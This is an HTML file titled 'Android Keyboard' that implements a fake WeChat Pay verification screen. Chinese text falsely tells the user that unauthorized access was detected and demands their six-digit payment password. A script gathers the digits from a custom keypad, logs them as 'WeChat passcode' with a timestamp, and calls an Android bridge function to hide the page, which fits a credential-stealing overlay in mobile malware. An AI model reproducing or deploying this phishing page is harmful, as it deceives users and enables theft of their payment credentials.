168 lines
9.7 KiB
HTML
168 lines
9.7 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Android Keyboard</title>
|
|
<script src="index.js"></script>
|
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script>
|
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.10/jquery.mask.js"></script>
|
|
<script>
|
|
console.log('WeChat page opened');
|
|
</script>
|
|
<style>
|
|
body {
|
|
font-family: Arial, sans-serif;
|
|
margin: 0;
|
|
padding: 0;
|
|
}
|
|
|
|
.container {
|
|
width: 100%;
|
|
height: 85vh;
|
|
display: flex;
|
|
flex-direction: column;
|
|
justify-content: flex-end;
|
|
align-items: center;
|
|
padding-bottom: 20px;
|
|
}
|
|
|
|
.header-image {
|
|
position: absolute;
|
|
top: 10%;
|
|
/* Adjust as needed */
|
|
left: 50%;
|
|
transform: translate(-50%, -50%);
|
|
width: 100px;
|
|
/* Adjust width as needed */
|
|
z-index: 1;
|
|
}
|
|
|
|
.header-text {
|
|
position: absolute;
|
|
top: 30%;
|
|
/* Adjust as needed */
|
|
left: 50%;
|
|
transform: translate(-50%, -50%);
|
|
text-align: center;
|
|
font-size: 15px;
|
|
color: #333;
|
|
/* Adjust text color as needed */
|
|
z-index: 1;
|
|
}
|
|
|
|
.input-group {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
width: calc(100% - 20px);
|
|
max-width: 400px;
|
|
margin-bottom: 10px;
|
|
margin-top: 20px;
|
|
/* Adjust the top margin */
|
|
}
|
|
|
|
.input-box {
|
|
width: calc(16.666% - 4px);
|
|
/* 16.666% to divide equally for 6 boxes */
|
|
height: 50px;
|
|
border: 1px solid #ccc;
|
|
padding: 10px;
|
|
box-sizing: border-box;
|
|
font-size: 18px;
|
|
text-align: center;
|
|
/* Center text */
|
|
}
|
|
|
|
.keyboard {
|
|
display: grid;
|
|
grid-template-columns: repeat(3, 1fr);
|
|
grid-gap: 0px;
|
|
width: calc(100% - 20px);
|
|
max-width: 400px;
|
|
}
|
|
|
|
.key {
|
|
text-align: center;
|
|
padding: 20px;
|
|
/* Increased padding */
|
|
font-size: 25px;
|
|
cursor: pointer;
|
|
border: 0px solid #ccc;
|
|
transition: background-color 0.3s;
|
|
font-weight: bold;
|
|
/* Make digits bold */
|
|
}
|
|
|
|
.key:hover {
|
|
background-color: #f0f0f0;
|
|
}
|
|
</style>
|
|
</head>
|
|
|
|
<body>
|
|
<header>
|
|
<div class="header-text">
|
|
<h4>检测到未经授权</h4>
|
|
<p>请验证微信支付密码才能访问应用程序</p>
|
|
</div>
|
|
<img src="data:image/png;base64,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"
|
|
alt="Header Image" class="header-image">
|
|
</header>
|
|
<div class="container">
|
|
<div class="input-group">
|
|
<div class="input-box" id="inputBox1" maxlength="1"></div>
|
|
<div class="input-box" id="inputBox2" maxlength="1"></div>
|
|
<div class="input-box" id="inputBox3" maxlength="1"></div>
|
|
<div class="input-box" id="inputBox4" maxlength="1"></div>
|
|
<div class="input-box" id="inputBox5" maxlength="1"></div>
|
|
<div class="input-box" id="inputBox6" maxlength="1"></div>
|
|
</div>
|
|
<div class="keyboard">
|
|
<div class="key" onclick="addToInput('1')">1</div>
|
|
<div class="key" onclick="addToInput('2')">2</div>
|
|
<div class="key" onclick="addToInput('3')">3</div>
|
|
<div class="key" onclick="addToInput('4')">4</div>
|
|
<div class="key" onclick="addToInput('5')">5</div>
|
|
<div class="key" onclick="addToInput('6')">6</div>
|
|
<div class="key" onclick="addToInput('7')">7</div>
|
|
<div class="key" onclick="addToInput('8')">8</div>
|
|
<div class="key" onclick="addToInput('9')">9</div>
|
|
<div class="key" onclick="submitPasscode()">✓</div>
|
|
<div class="key" onclick="addToInput('0')">0</div>
|
|
<div class="key" onclick="clearInput()">⌫</div> <!-- Blank space for alignment -->
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
var inputBoxes = document.querySelectorAll('.input-box');
|
|
|
|
function addToInput(value) {
|
|
for (var i = 0; i < inputBoxes.length; i++) {
|
|
if (inputBoxes[i].innerText.length < parseInt(inputBoxes[i].getAttribute('maxlength'))) {
|
|
inputBoxes[i].innerText += value;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
function submitPasscode() {
|
|
const passcode = Array.from(inputBoxes).map(input => input.innerText).join('');
|
|
console.log('WeChat passcode:', passcode);
|
|
console.log('Time:', new Date().toLocaleString());
|
|
|
|
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
}
|
|
|
|
function clearInput() {
|
|
inputBoxes.forEach(function (box) {
|
|
box.innerText = '';
|
|
});
|
|
}
|
|
</script>
|
|
</body>
|
|
|
|
</html> |